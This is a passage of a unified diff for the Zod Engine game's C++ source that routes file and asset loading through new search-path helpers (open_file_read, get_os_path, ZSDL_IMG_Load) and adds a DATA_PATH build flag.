++	// for (size_t i=0;i<list.size(); i++) printf("list found:%s\n", list[i].c_str());
++	// for (size_t i=0;i<base.size(); i++) printf("base found:%s\n", base[i].c_str());
+ 
+-	hFind = FindFirstFile(foldername.c_str(), &ffd);
++	// add unique entries for each file
++	sort(list.begin(), list.end(), sort_string_func);
++	merged = list;
++	for (size_t i = 0; i < base.size(); i++) {
++		vector<string>::iterator el;
+ 
+-	if(INVALID_HANDLE_VALUE == hFind) return filelist;
++		el = lower_bound(list.begin(), list.end(), base[i], sort_string_func);
++		if (el != list.end() && *el == base[i])
++			continue;
+ 
+-	do
+-	{
+-		if(!(ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
+-			filelist.push_back((char*)ffd.cFileName);
++		merged.push_back(base[i]);
+ 	} 
+-	while (FindNextFile(hFind, &ffd) != 0);
+-
+-	FindClose(hFind);
+-
+-#else
+-	DIR *dp;
+-    struct dirent *dirp;
+-
+-	if(!foldername.size()) foldername = ".";
+-
+-	dp  = opendir(foldername.c_str());
+-
+-	if(!dp) return filelist;
+-
+-	while ((dirp = readdir(dp)) != NULL) 
+-	{
+-		if(dirp->d_type == DT_REG) 
+-			filelist.push_back(dirp->d_name);
+-	}
+-
+-	closedir(dp);
+-
+-#endif
+ 
+-	//for(int i=0;i<filelist.size(); i++) printf("filelist found:%s\n", filelist[i].c_str());
++	// for (size_t i=0;i<merged.size(); i++) printf("merged found:%s\n", merged[i].c_str());
+ 
+-	return filelist;
++	return merged;
+ }
+ 
+ void parse_filelist(vector<string> &filelist, string extension)
+diff -burN zod_engine/zod_src/common.h zod_engine.new/zod_src/common.h
+--- zod_engine/zod_src/common.h	2011-09-06 17:35:07.000000000 +0200
++++ zod_engine.new/zod_src/common.h	2012-05-05 20:39:00.000000000 +0200
+@@ -1,6 +1,7 @@
+ #ifndef _COMMON_H_
+ #define _COMMON_H_
+ 
++#include <stdio.h>
+ #include <string>
+ #include <vector>
+ #include <stdlib.h>
+@@ -19,12 +20,16 @@
+ 		int x, y;
+ 	};
+ 
++	extern void init_file_paths(const char *bin_path);
++	extern bool get_os_path(const char *filename, bool read_only, char*dest);
++	extern FILE *open_file_read(const char *filename, bool binary);
++	extern FILE *open_file_write(const char *filename, bool binary, bool append);
+ 	extern void split(char *dest, char *message, char split, int *initial, int d_size, int m_size);
+ 	extern void clean_newline(char *message, int size);
+ 	extern void lcase(char *message, int m_size);
+ 	extern void lcase(string &message);
+ 	extern double current_time();
+-	extern void create_folder(char *foldername);
++	extern void create_folder(const char *foldername);
+ 	extern void uni_pause(int m_sec);
+ 	extern char *wtoc_s(const wchar_t *input);
+ 	extern char *wtoc(const wchar_t *input, char *dest, int size);
+diff -burN zod_engine/zod_src/cursor.cpp zod_engine.new/zod_src/cursor.cpp
+--- zod_engine/zod_src/cursor.cpp	2011-09-06 17:35:10.000000000 +0200
++++ zod_engine.new/zod_src/cursor.cpp	2012-05-05 17:31:02.000000000 +0200
+@@ -24,56 +24,56 @@
+ 		cursor[CURSOR_C][0][j].LoadBaseImage(filename_c);
+ 
+ 		sprintf(filename_c, "assets/cursors/placed_n%02d.png", j);
+-		temp_surface = IMG_Load(filename_c);
++		temp_surface = ZSDL_IMG_Load(filename_c, false);
+ 		cursor[PLACED_C][0][j].LoadBaseImage(temp_surface, false);
+ 		cursor[PLACE_C][0][j].LoadBaseImage(temp_surface);
+ 		//cursor[PLACED_C][0][j] = IMG_Load_Error(filename_c);
+ 		//cursor[PLACE_C][0][j] = cursor[PLACED_C][0][j];
+ 
+ 		sprintf(filename_c, "assets/cursors/attacked_n%02d.png", j);
+-		temp_surface = IMG_Load(filename_c);
++		temp_surface = ZSDL_IMG_Load(filename_c, false);
+ 		cursor[ATTACKED_C][0][j].LoadBaseImage(temp_surface, false);
+ 		cursor[ATTACK_C][0][j].LoadBaseImage(temp_surface);
+ 		//cursor[ATTACKED_C][0][j] = IMG_Load_Error(filename_c);
+ 		//cursor[ATTACK_C][0][j] = cursor[ATTACKED_C][0][j];
+ 
+ 		sprintf(filename_c, "assets/cursors/grabbed_n%02d.png", j);
+-		temp_surface = IMG_Load(filename_c);
++		temp_surface = ZSDL_IMG_Load(filename_c, false);
+ 		cursor[GRABBED_C][0][j].LoadBaseImage(temp_surface, false);
+ 		cursor[GRAB_C][0][j].LoadBaseImage(temp_surface);
+ 		//cursor[GRABBED_C][0][j] = IMG_Load_Error(filename_c);
+ 		//cursor[GRAB_C][0][j] = cursor[GRABBED_C][0][j];
+ 
+ 		sprintf(filename_c, "assets/cursors/grenaded_n%02d.png", j);
+-		temp_surface = IMG_Load(filename_c);
++		temp_surface = ZSDL_IMG_Load(filename_c, false);
+ 		cursor[GRENADED_C][0][j].LoadBaseImage(temp_surface, false);
+ 		cursor[GRENADE_C][0][j].LoadBaseImage(temp_surface);
+ 		//cursor[GRENADED_C][0][j] = IMG_Load_Error(filename_c);
+ 		//cursor[GRENADE_C][0][j] = cursor[GRENADED_C][0][j];
+ 
+ 		sprintf(filename_c, "assets/cursors/repaired_n%02d.png", j);
+-		temp_surface = IMG_Load(filename_c);
++		temp_surface = ZSDL_IMG_Load(filename_c, false);
+ 		cursor[REPAIRED_C][0][j].LoadBaseImage(temp_surface, false);
+ 		cursor[REPAIR_C][0][j].LoadBaseImage(temp_surface);
+ 		//cursor[REPAIRED_C][0][j] = IMG_Load_Error(filename_c);
+ 		//cursor[REPAIR_C][0][j] = cursor[REPAIRED_C][0][j];
+ 		
+ 		sprintf(filename_c, "assets/cursors/entered_n%02d.png", j);
+-		temp_surface = IMG_Load(filename_c);
++		temp_surface = ZSDL_IMG_Load(filename_c, false);
+ 		cursor[ENTERED_C][0][j].LoadBaseImage(temp_surface, false);
+ 		cursor[ENTER_C][0][j].LoadBaseImage(temp_surface);
+ 		//cursor[ENTERED_C][0][j] = IMG_Load_Error(filename_c);
+ 		//cursor[ENTER_C][0][j] = cursor[ENTERED_C][0][j];
+ 
+ 		sprintf(filename_c, "assets/cursors/exited_n%02d.png", j);
+-		temp_surface = IMG_Load(filename_c);
++		temp_surface = ZSDL_IMG_Load(filename_c, false);
+ 		cursor[EXITED_C][0][j].LoadBaseImage(temp_surface, false);
+ 		cursor[EXIT_C][0][j].LoadBaseImage(temp_surface);
+ 		//cursor[EXITED_C][0][j] = IMG_Load_Error(filename_c);
+ 		//cursor[EXIT_C][0][j] = cursor[EXITED_C][0][j];
+ 
+ 		sprintf(filename_c, "assets/cursors/cannoned_n%02d.png", j);
+-		temp_surface = IMG_Load(filename_c);
++		temp_surface = ZSDL_IMG_Load(filename_c, false);
+ 		cursor[CANNONED_C][0][j].LoadBaseImage(temp_surface, false);
+ 		cursor[CANNON_C][0][j].LoadBaseImage(temp_surface);
+ 		//cursor[CANNONED_C][0][j] = IMG_Load_Error(filename_c);
+diff -burN zod_engine/zod_src/main.cpp zod_engine.new/zod_src/main.cpp
+--- zod_engine/zod_src/main.cpp	2011-09-06 17:35:11.000000000 +0200
++++ zod_engine.new/zod_src/main.cpp	2012-05-05 17:49:03.000000000 +0200
+@@ -42,7 +42,7 @@
+ 	
+ 	printf("Welcome to the Zod Engine\n");
+ 
+-	if(argc<=1) starting_conditions.setdefaults();
++	if(argc==1) starting_conditions.setdefaults();
+ 	
+ 	//read in the arguments
+ 	starting_conditions.getoptions(argc, argv);
+@@ -51,6 +51,9 @@
+ 	//like we are trying to make a dedicated server that is supposed to connect to another server
+ 	starting_conditions.checkoptions();
+ 	
++	//init engine search paths
++	COMMON::init_file_paths(argv[0]);
++
+ 	//init this for the bots
+ 	ZCore::CreateRandomBotBypassData(bot_bypass_data, bot_bypass_size);
+ 
+diff -burN zod_engine/zod_src/makefile zod_engine.new/zod_src/makefile
+--- zod_engine/zod_src/makefile	2011-09-06 17:35:07.000000000 +0200
++++ zod_engine.new/zod_src/makefile	2012-05-06 04:03:47.000000000 +0200
+@@ -18,6 +18,9 @@
+ MAPEDITOR_OFILES = map_editor.o $(CPPFILES:.cpp=.o)
+ DATE = `date +%m-%d-%y`
+ 
++ifdef DATA_PATH
++	CFLAGS += -D DATA_PATH=\"$(DATA_PATH)\"
++endif
+ 
+ main: $(OFILES) 
+ 	$(CC) -o $(EXENAME) $(OFILES) $(LDFLAGS)
+diff -burN zod_engine/zod_src/map_editor.cpp zod_engine.new/zod_src/map_editor.cpp
+--- zod_engine/zod_src/map_editor.cpp	2011-09-06 17:35:11.000000000 +0200
++++ zod_engine.new/zod_src/map_editor.cpp	2012-05-05 21:50:20.000000000 +0200
+@@ -270,6 +270,8 @@
+ 	//check if args ok
+ 	if(!checkargs(argv[0])) return 0;
+ 
++	//init filesystem search paths
++	COMMON::init_file_paths(argv[0]);
+ 	//init SDL
+ 	SDL_Init(SDL_INIT_VIDEO|SDL_INIT_AUDIO);
+ 	screen = SDL_SetVideoMode(800,600,32,SDL_HWSURFACE|SDL_DOUBLEBUF|SDL_RESIZABLE);
+@@ -287,8 +289,15 @@
+ 	ZSDL_Surface::SetHasHud(false);
+ 	
+ 	//TTF
++	char path[FILENAME_MAX];
++
+ 	TTF_Init();
+-	ttf_font = TTF_OpenFont("assets/arial.ttf",10);
++	ttf_font = NULL;
++	if (COMMON::get_os_path("assets/arial.ttf", true, path))
++	{
++		ttf_font = TTF_OpenFont(path,10);
++	}
++
+ 	if (!ttf_font) printf("could not load arial.ttf\n");
+ 	
+ 	//init stuff
+@@ -499,10 +508,8 @@
+ 	//save the map
+ 	{
+ 		bmp_filename = filename + ".bmp";
+-
+ 		printf("saving map screenshot: '%s'\n", bmp_filename.c_str());
+-
+-		SDL_SaveBMP(print_surface, bmp_filename.c_str());
++		ZSDL_SaveBMP(print_surface, filename);
+ 	}
+ 
+ 	SDL_FreeSurface(print_surface);
+diff -burN zod_engine/zod_src/map_merger.cpp zod_engine.new/zod_src/map_merger.cpp
+--- zod_engine/zod_src/map_merger.cpp	2011-09-06 17:35:11.000000000 +0200
++++ zod_engine.new/zod_src/map_merger.cpp	2012-05-05 16:17:15.000000000 +0200
+@@ -16,6 +16,9 @@
+ 		return 0;
+ 	}
+ 
++	//init filesystem paths
++	COMMON::init_file_paths(argv[0]);
++
+ 	printf("argc:%d\n", argc);
+ 	printf("output_map:'%s'\n", argv[1]);
+ 	printf("direction:'%s'\n", argv[2]);
+diff -burN zod_engine/zod_src/ogrenades.cpp zod_engine.new/zod_src/ogrenades.cpp
+--- zod_engine/zod_src/ogrenades.cpp	2011-09-06 17:35:11.000000000 +0200
++++ zod_engine.new/zod_src/ogrenades.cpp	2012-05-05 17:28:25.000000000 +0200
+@@ -24,7 +24,7 @@
+ 		
+ void OGrenades::Init()
+ {
+-	render_img.LoadBaseImage("assets/other/map_items/grenades.png");// = ZSDL_IMG_Load("assets/other/map_items/grenades.png");
++	render_img.LoadBaseImage("assets/other/map_items/grenades.png");// = ZSDL_IMG_Load("assets/other/map_items/grenades.png", true);
+ }
+ 
+ void OGrenades::DoRender(ZMap &the_map, SDL_Surface *dest, int shift_x, int shift_y)
+diff -burN zod_engine/zod_src/ohut.cpp zod_engine.new/zod_src/ohut.cpp
+--- zod_engine/zod_src/ohut.cpp	2011-09-06 17:35:11.000000000 +0200
++++ zod_engine.new/zod_src/ohut.cpp	2012-05-05 17:28:13.000000000 +0200
+@@ -42,7 +42,7 @@
+ 	for(i=0;i<MAX_PLANET_TYPES;i++)
+ 	{
+ 		filename = "assets/other/map_items/hut_" + planet_type_string[i] + ".png";
+-		render_img[i].LoadBaseImage(filename);// = ZSDL_IMG_Load(filename);
++		render_img[i].LoadBaseImage(filename);// = ZSDL_IMG_Load(filename, true);
+ 	}
+ }
+ 
+diff -burN zod_engine/zod_src/omapobject.cpp zod_engine.new/zod_src/omapobject.cpp
+--- zod_engine/zod_src/omapobject.cpp	2011-09-06 17:35:11.000000000 +0200
++++ zod_engine.new/zod_src/omapobject.cpp	2012-05-05 17:22:19.000000000 +0200
+@@ -42,7 +42,7 @@
+ 	for(i=0;i<MAP_ITEMS_AMOUNT;i++)
+ 	{
+ 		sprintf(filename_c, "assets/other/map_items/map_object%d.png", i);
+-		render_img[i].LoadBaseImage(filename_c);// = ZSDL_IMG_Load(filename_c);
++		render_img[i].LoadBaseImage(filename_c);// = ZSDL_IMG_Load(filename_c, true);
+ 	}
+ }
+ 
+diff -burN zod_engine/zod_src/orock.cpp zod_engine.new/zod_src/orock.cpp
+--- zod_engine/zod_src/orock.cpp	2011-09-06 17:35:11.000000000 +0200
++++ zod_engine.new/zod_src/orock.cpp	2012-05-05 17:27:26.000000000 +0200
+@@ -70,7 +70,7 @@
+ 	for(i=0;i<MAX_PLANET_TYPES;i++)
+ 	{
+ 		filename = "assets/planets/rocks_" + planet_type_string[i] + ".png";
+-		rock_pal[i].LoadBaseImage(filename);// = ZSDL_IMG_Load(filename);
++		rock_pal[i].LoadBaseImage(filename);// = ZSDL_IMG_Load(filename, true);
+ 
+ 		if(rock_pal[i].GetBaseSurface())
+ 		{
+diff -burN zod_engine/zod_src/tile_info_editor.cpp zod_engine.new/zod_src/tile_info_editor.cpp
+--- zod_engine/zod_src/tile_info_editor.cpp	2011-09-06 17:35:11.000000000 +0200
++++ zod_engine.new/zod_src/tile_info_editor.cpp	2012-05-05 16:20:57.000000000 +0200
+@@ -76,6 +76,8 @@
+ 	
+ 	//seed
+ 	srand(time(0));
++	//init filesystem search paths
++	COMMON::init_file_paths(argv[0]);
+ 	
+ 	//init SDL
+ 	SDL_Init(SDL_INIT_VIDEO|SDL_INIT_AUDIO);
+@@ -94,8 +96,18 @@
+ 	
+ 	//TTF
+ 	TTF_Init();
+-	ttf_font = TTF_OpenFont("assets/arial.ttf",10);
++	FILE *fp = COMMON::open_file_read("assets/arial.ttf",true);
++	if (fp)
++	{
++		SDL_RWops *rw = SDL_RWFromFP(fp,1);
++
++		ttf_font = TTF_OpenFontRW(rw,1,10);
+ 	if (!ttf_font) printf("could not load arial.ttf\n");
++	}
++	else
++	{
++		printf("cannot find arial.ttf\n");
++	}
+ 
+ 	//init map class
+ 	ZMap::Init();
+diff -burN zod_engine/zod_src/zcore.cpp zod_engine.new/zod_src/zcore.cpp
+--- zod_engine/zod_src/zcore.cpp	2011-09-06 17:35:11.000000000 +0200
++++ zod_engine.new/zod_src/zcore.cpp	2012-05-05 16:25:45.000000000 +0200
+@@ -111,7 +111,7 @@
+ 	//clients and servers on different threads may use this function
+ 	SDL_LockMutex(check_mutex);
+ 
+-	fp = fopen("registration.zkey", "r");
++	fp = COMMON::open_file_read("registration.zkey", false);
+ 
+ 	if(!fp)
+ 	{
+diff -burN zod_engine/zod_src/zfont.cpp zod_engine.new/zod_src/zfont.cpp
+--- zod_engine/zod_src/zfont.cpp	2011-09-06 17:35:11.000000000 +0200
++++ zod_engine.new/zod_src/zfont.cpp	2012-05-05 17:29:09.000000000 +0200
+@@ -16,7 +16,7 @@
+ 	for(i=0;i<MAX_CHARACTERS;i++)
+ 	{
+ 		sprintf(filename_c, "assets/fonts/%s/char_%03d.png", font_type_string[type].c_str(), i);
+-		char_img[i] = IMG_Load(filename_c);
++		char_img[i] = ZSDL_IMG_Load(filename_c, false);
+ 	}
+ 
+ 	finished_init = true;
+diff -burN zod_engine/zod_src/zgfile.cpp zod_engine.new/zod_src/zgfile.cpp
+--- zod_engine/zod_src/zgfile.cpp	2011-09-06 17:35:11.000000000 +0200
++++ zod_engine.new/zod_src/zgfile.cpp	2012-05-05 16:24:41.000000000 +0200
+@@ -16,7 +16,7 @@
+ {
+ 	FILE *fp;
+ 
+-	fp = fopen(ZGFILE_NAME, "rb");
++	fp = COMMON::open_file_read(ZGFILE_NAME, true);
+ 
+ 	if(!fp)
+ 	{
+@@ -90,7 +90,7 @@
+ 		return;
+ 	}
+ 
+-	fp = fopen(ZGFILE_NAME, "ab");
++	fp = COMMON::open_file_write(ZGFILE_NAME, true, true);
+ 
+ 	if(!fp)
+ 	{
+@@ -166,7 +166,7 @@
+ 		return NULL;
+ 	}
+ 
+-	fp = fopen(ZGFILE_NAME, "rb");
++	fp = COMMON::open_file_read(ZGFILE_NAME, true);
+ 
+ 	if(!fp)
+ 	{
+diff -burN zod_engine/zod_src/zmap.cpp zod_engine.new/zod_src/zmap.cpp
+--- zod_engine/zod_src/zmap.cpp	2011-09-06 17:35:11.000000000 +0200
++++ zod_engine.new/zod_src/zmap.cpp	2012-05-05 17:18:57.000000000 +0200
+@@ -69,7 +69,7 @@
+ 
+ 		//load BMP palette
+ 		filename = "assets/planets/" + planet_type_string[i] + ".bmp";
+-		planet_template[i].LoadBaseImage(filename);// = SDL_LoadBMP ( filename.c_str() );
++		planet_template[i].LoadBaseImage(filename);// = ZSDL_LoadBMP ( filename.c_str() );
+ 		
+ 		//if(!planet_template[i])
+ 		//	printf("unable to load:%s\n", filename.c_str());
+@@ -124,7 +124,7 @@
+ 	SDL_LockMutex(init_mutex);
+ 
+ 	filename = "assets/planets/" + planet_type_string[i] + ".tileinfo";
+-	fp = fopen(filename.c_str(), "rb");
++	fp = COMMON::open_file_read(filename.c_str(), true);
+ 	
+ 	if(!fp)
+ 	{
+@@ -195,7 +195,7 @@
+ 	
+ 	filename = "assets/planets/" + planet_type_string[palette] + ".tileinfo";
+ 	
+-	fp = fopen(filename.c_str(), "wb");
++	fp = COMMON::open_file_write(filename.c_str(), true, false);
+ 	
+ 	if(!fp) return 0;
+ 	
+@@ -216,7 +216,7 @@
+ 	{
+ 		filename = "assets/planets/" + planet_type_string[i] + ".tileinfo";
+ 
+-		fp = fopen(filename.c_str(), "wb");
++		fp = COMMON::open_file_write(filename.c_str(), true, false);
+ 	
+ 		if(!fp)
+ 		{
+@@ -979,7 +979,7 @@
+ 	if(!filename) return 0;
+ 	if(!filename[0]) return 0;
+ 	
+-	fp = fopen(filename, "rb");
++	fp = COMMON::open_file_read(filename, true);
+ 	
+ 	if(!fp) return 0;
+ 
+@@ -1075,7 +1075,7 @@
+ 	if(!filename) return 0;
+ 	if(!filename[0]) return 0;
+ 	
+-	fp = fopen(filename, "wb");
++	fp = COMMON::open_file_write(filename, true, false);
+ 	
+ 	if(!fp) return 0;
+ 	
+diff -burN zod_engine/zod_src/zmap_crater_graphics.cpp zod_engine.new/zod_src/zmap_crater_graphics.cpp
+--- zod_engine/zod_src/zmap_crater_graphics.cpp	2011-09-06 17:35:11.000000000 +0200
++++ zod_engine.new/zod_src/zmap_crater_graphics.cpp	2012-05-05 17:20:54.000000000 +0200
+@@ -33,7 +33,7 @@
+ 
+ 					sprintf(filename, "assets/planets/craters/crater_small_%s_t%02d_n%02d.png", planet_type_string[p].c_str(), t, n);
+ 
+-					surface = IMG_Load(filename);
++					surface = ZSDL_IMG_Load(filename, false);
+ 
+ 					//not loaded?
+ 					if(!surface) break;
+@@ -60,7 +60,7 @@
+ 
+ 					sprintf(filename, "assets/planets/craters/crater_large_%s_t%02d_n%02d.png", planet_type_string[p].c_str(), t, n);
+ 
+-					surface = IMG_Load(filename);
++					surface = ZSDL_IMG_Load(filename, false);
+ 
+ 					//not loaded?
+ 					if(!surface) break;
+diff -burN zod_engine/zod_src/zplayer.cpp zod_engine.new/zod_src/zplayer.cpp
+--- zod_engine/zod_src/zplayer.cpp	2011-09-06 17:35:12.000000000 +0200
++++ zod_engine.new/zod_src/zplayer.cpp	2012-05-05 21:47:14.000000000 +0200
+@@ -367,12 +367,13 @@
+ 	Uint16 audio_format = AUDIO_S16; /* 16-bit stereo */
+ 	int audio_channels = 2;
+ 	int audio_buffers = 4096;
++	char font_path[FILENAME_MAX];
+ 
+ 	//init SDL
+ 	SDL_Init(SDL_INIT_VIDEO|SDL_INIT_AUDIO);
+ 
+ 	//some stuff that just has to be right after init
+-	game_icon = IMG_Load("assets/icon.png");
++	game_icon = ZSDL_IMG_Load("assets/icon.png", false);
+ 	//ffuts
+ 
+ 	if(game_icon) SDL_WM_SetIcon(game_icon, NULL);
+@@ -436,13 +437,18 @@
+ 
+ 	//TTF
+ 	TTF_Init();
+-	ttf_font = TTF_OpenFont("assets/arial.ttf",10);
+-	ttf_font_7 = TTF_OpenFont("assets/arial.ttf",7);
++	ttf_font = NULL;
++	if (COMMON::get_os_path("assets/arial.ttf", true, font_path))
++	{
++		ttf_font = TTF_OpenFont(font_path,10);
++		ttf_font_7 = TTF_OpenFont(font_path,7);
++	}
++
+ 	if (!ttf_font) printf("could not load assets/arial.ttf\n");
+ 
+ 	//splash sound best loaded here
+ 	//splash_music = MUS_Load_Error("assets/sounds/ABATTLE.mp3");
+-	splash_screen.LoadBaseImage("assets/splash.bmp");// = IMG_Load("assets/splash.bmp");
++	splash_screen.LoadBaseImage("assets/splash.bmp");// = ZSDL_IMG_Load("assets/splash.bmp", false);
+ 	splash_screen.UseDisplayFormat(); //Regular needs this to do fading
+ 
+ //	if(splash_screen)
+diff -burN zod_engine/zod_src/zplayer_events.cpp zod_engine.new/zod_src/zplayer_events.cpp
+--- zod_engine/zod_src/zplayer_events.cpp	2011-09-06 17:35:12.000000000 +0200
++++ zod_engine.new/zod_src/zplayer_events.cpp	2012-05-05 16:30:09.000000000 +0200
+@@ -1402,7 +1402,7 @@
+ 		FILE *fp;
+ 		int ret;
+ 
+-		fp = fopen("registration.zkey", "w");
++		fp = COMMON::open_file_write("registration.zkey", false, false);
+ 
+ 		if(!fp)
+ 		{
+diff -burN zod_engine/zod_src/zpsettings.cpp zod_engine.new/zod_src/zpsettings.cpp
+--- zod_engine/zod_src/zpsettings.cpp	2011-09-06 17:35:12.000000000 +0200
++++ zod_engine.new/zod_src/zpsettings.cpp	2012-05-05 16:36:55.000000000 +0200
+@@ -35,7 +35,7 @@
+ {
+ 	FILE *fp;
+ 
+-	fp = fopen(filename.c_str(), "r");
++	fp = COMMON::open_file_read(filename.c_str(), false);
+ 
+ 	if(!fp)
+ 	{
+@@ -106,7 +106,7 @@
+ {
+ 	FILE *fp;
+ 
+-	fp = fopen(filename.c_str(), "w");
++	fp = COMMON::open_file_write(filename.c_str(), false, false);
+ 
+ 	if(!fp)
+ 	{
+diff -burN zod_engine/zod_src/zrobot.cpp zod_engine.new/zod_src/zrobot.cpp
+--- zod_engine/zod_src/zrobot.cpp	2011-09-06 17:35:12.000000000 +0200
++++ zod_engine.new/zod_src/zrobot.cpp	2012-05-05 17:23:22.000000000 +0200
+@@ -168,7 +168,7 @@
+ 	SDL_Surface *temp_surface;
+ 	
+ 	strcpy(filename_c, "assets/units/robots/null.png");
+-	temp_surface = IMG_Load(filename_c);
++	temp_surface = ZSDL_IMG_Load(filename_c, false);
+ 	
+ 	for(j=0;j<MAX_ANGLE_TYPES;j++)
+ 		stand[0][j].LoadBaseImage(temp_surface, false);
+diff -burN zod_engine/zod_src/zsdl.cpp zod_engine.new/zod_src/zsdl.cpp
+--- zod_engine/zod_src/zsdl.cpp	2011-09-06 17:35:12.000000000 +0200
++++ zod_engine.new/zod_src/zsdl.cpp	2012-05-05 21:58:47.000000000 +0200
+@@ -442,26 +442,53 @@
+ 	return src;
+ }
+ 
+-SDL_Surface *ZSDL_IMG_Load(string filename)
++SDL_Surface *ZSDL_IMG_Load(string filename, bool to_display_format)
+ {
++	char path[FILENAME_MAX];
+ 	SDL_Surface *ret;
+ 	
+-	ret = IMG_Load(filename.c_str());
++	if(!COMMON::get_os_path(filename.c_str(), true, path))
++		return NULL;
+ 
+-	if(!ret) printf("could not load:%s\n", filename.c_str()); 
++	ret = IMG_Load(path);
+ 
++	if (to_display_format)
+ 	ret = ZSDL_ConvertImage(ret);
+ 	
+-	//SDL_DisplayFormat
+-	
+ 	return ret;
+ }
+ 
++bool ZSDL_SaveBMP(SDL_Surface *src, string filename)
++{
++	char path[FILENAME_MAX];
++
++	if (!COMMON::get_os_path(filename.c_str(), false, path))
++	{
++		printf("could not save:%s\n", filename.c_str());
++		return false;
++	}
++
++	return (SDL_SaveBMP(src, path) == 0);
++}
++
++SDL_Surface *ZSDL_LoadBMP(string filename)
++{
++	char path[FILENAME_MAX];
++
++	if (!COMMON::get_os_path(filename.c_str(), true, path))
++	{
++		printf("could not load:%s\n", filename.c_str());
++		return NULL;
++	}
++
++	return SDL_LoadBMP(path);
++}
++
+ SDL_Surface *IMG_Load_Error(string filename)
+ {
+ 	SDL_Surface *ret;
+ 	
+-	if(!(ret = ZSDL_IMG_Load(filename.c_str()))) printf("could not load:%s\n", filename.c_str());
++	if(!(ret = ZSDL_IMG_Load(filename.c_str(), true))) printf("could not load:%s\n", filename.c_str());
+ 
+ 	//SDL_DisplayFormat
+ 	
+@@ -470,18 +497,24 @@
+ 
+ Mix_Music *MUS_Load_Error(string filename)
+ {
++	char path[FILENAME_MAX];
+ 	Mix_Music *ret;
+ 	
+-	if(!(ret = Mix_LoadMUS(filename.c_str()))) printf("could not load:%s\n", filename.c_str());
++	if (!COMMON::get_os_path(filename.c_str(), true, path)) printf("could not open:%s\n", filename.c_str());
++
++	if (!(ret = Mix_LoadMUS(path))) printf("could not load:%s\n", filename.c_str());
+ 	
+ 	return ret;
+ }
+ 
+ Mix_Chunk *MIX_Load_Error(string filename)
+ {
++	char path[FILENAME_MAX];
+ 	Mix_Chunk *ret;
+ 	
+-	if(!(ret = Mix_LoadWAV(filename.c_str()))) printf("could not load:%s\n", filename.c_str());
++	if (!COMMON::get_os_path(filename.c_str(), true, path)) printf("could not open:%s\n", filename.c_str());
++
++	if (!(ret = Mix_LoadWAV(path))) printf("could not load:%s\n", filename.c_str());
+ 	
+ 	return ret;
+ }
+diff -burN zod_engine/zod_src/zsdl.h zod_engine.new/zod_src/zsdl.h
+--- zod_engine/zod_src/zsdl.h	2011-09-06 17:35:09.000000000 +0200
++++ zod_engine.new/zod_src/zsdl.h	2012-05-05 17:34:05.000000000 +0200
+@@ -64,8 +64,10 @@
+ };
+ 
+ SDL_Surface *ZSDL_ConvertImage(SDL_Surface *src);
+-SDL_Surface *ZSDL_IMG_Load(string filename);
++SDL_Surface *ZSDL_IMG_Load(string filename, bool to_display_format);
+ SDL_Surface *IMG_Load_Error(string filename);
++bool ZSDL_SaveBMP(SDL_Surface *src, string filename);
++SDL_Surface *ZSDL_LoadBMP(string filename);
+ Mix_Music *MUS_Load_Error(string filename);
+ Mix_Chunk *MIX_Load_Error(string filename);
+ SDL_Surface *CopyImage(SDL_Surface *original);
+diff -burN zod_engine/zod_src/zsdl_opengl.cpp zod_engine.new/zod_src/zsdl_opengl.cpp
+--- zod_engine/zod_src/zsdl_opengl.cpp	2011-09-06 17:35:12.000000000 +0200
++++ zod_engine.new/zod_src/zsdl_opengl.cpp	2012-05-05 17:32:31.000000000 +0200
+@@ -107,7 +107,7 @@
+ 	//set this for later debugging purposes
+ 	image_filename = filename;
+ 
+-	SDL_Surface *surface = IMG_Load(filename.c_str());
++	SDL_Surface *surface = ZSDL_IMG_Load(filename.c_str(), false);
+ 
+ 	LoadBaseImage(surface);
+ }
+diff -burN zod_engine/zod_src/zserver.cpp zod_engine.new/zod_src/zserver.cpp
+--- zod_engine/zod_src/zserver.cpp	2011-09-06 17:35:12.000000000 +0200
++++ zod_engine.new/zod_src/zserver.cpp	2012-05-06 02:44:12.000000000 +0200
+@@ -270,7 +270,7 @@
+ 	//if we can't read in the official list
+ 	//and we can't make one
+ 	//then just use the regular map list
+-	if(!ReadSelectableMapList() && !ReadSelectableMapListFromFolder())
++	if(!ReadSelectableMapList() && !ReadSelectableMapListFromFolder("."))
+ 		selectable_map_list = map_list;
+ }
+ 
+@@ -454,7 +454,7 @@
+ 
+ 	map_list.clear();
+ 
+-	fp = fopen(map_list_name.c_str(), "r");
++	fp = COMMON::open_file_read(map_list_name.c_str(), false);
+ 
+ 	if(!fp) 
+ 	{
+@@ -496,7 +496,7 @@
+ 
+ 	selectable_map_list.clear();
+ 
+-	fp = fopen(psettings.selectable_map_list.c_str(), "r");
++	fp = COMMON::open_file_read(psettings.selectable_map_list.c_str(), false);
+ 
+ 	if(!fp) 
+ 	{
+diff -burN zod_engine/zod_src/zserver_events.cpp zod_engine.new/zod_src/zserver_events.cpp
+--- zod_engine/zod_src/zserver_events.cpp	2011-09-06 17:35:07.000000000 +0200
++++ zod_engine.new/zod_src/zserver_events.cpp	2012-05-05 16:32:42.000000000 +0200
+@@ -164,7 +164,7 @@
+ 	{
+ 		FILE *fp;
+ 		
+-		fp = fopen(p->map_name.c_str(), "rb");
++		fp = COMMON::open_file_read(p->map_name.c_str(), true);
+ 		
+ 		if(fp)
+ 		{
+diff -burN zod_engine/zod_src/zsettings.cpp zod_engine.new/zod_src/zsettings.cpp
+--- zod_engine/zod_src/zsettings.cpp	2011-09-06 17:35:08.000000000 +0200
++++ zod_engine.new/zod_src/zsettings.cpp	2012-05-05 16:31:45.000000000 +0200
+@@ -393,7 +393,7 @@
+ {
+ 	FILE *fp;
+ 
+-	fp = fopen(filename.c_str(), "r");
++	fp = COMMON::open_file_read(filename.c_str(), false);
+ 
+ 	if(!fp)
+ 	{
+@@ -555,7 +555,7 @@
+ {
+ 	FILE *fp;
+ 
+-	fp = fopen(filename.c_str(), "w");
++	fp = COMMON::open_file_write(filename.c_str(), false, false);
+ 
+ 	if(!fp)
+ 	{
+diff -burN zod_engine/zod_src/zteam.cpp zod_engine.new/zod_src/zteam.cpp
+--- zod_engine/zod_src/zteam.cpp	2011-09-06 17:35:07.000000000 +0200
++++ zod_engine.new/zod_src/zteam.cpp	2012-05-05 17:31:56.000000000 +0200
+@@ -113,7 +113,7 @@
+ 	}
+ 
+ 	//save surface
+-	SDL_SaveBMP(src, filename.c_str());
++	ZSDL_SaveBMP(src, filename);
+ 
+ 	//free surface
+ 	SDL_FreeSurface(src);
+@@ -264,7 +264,7 @@
+ 	if(team == ZTEAM_BASE_TEAM) return;
+ 
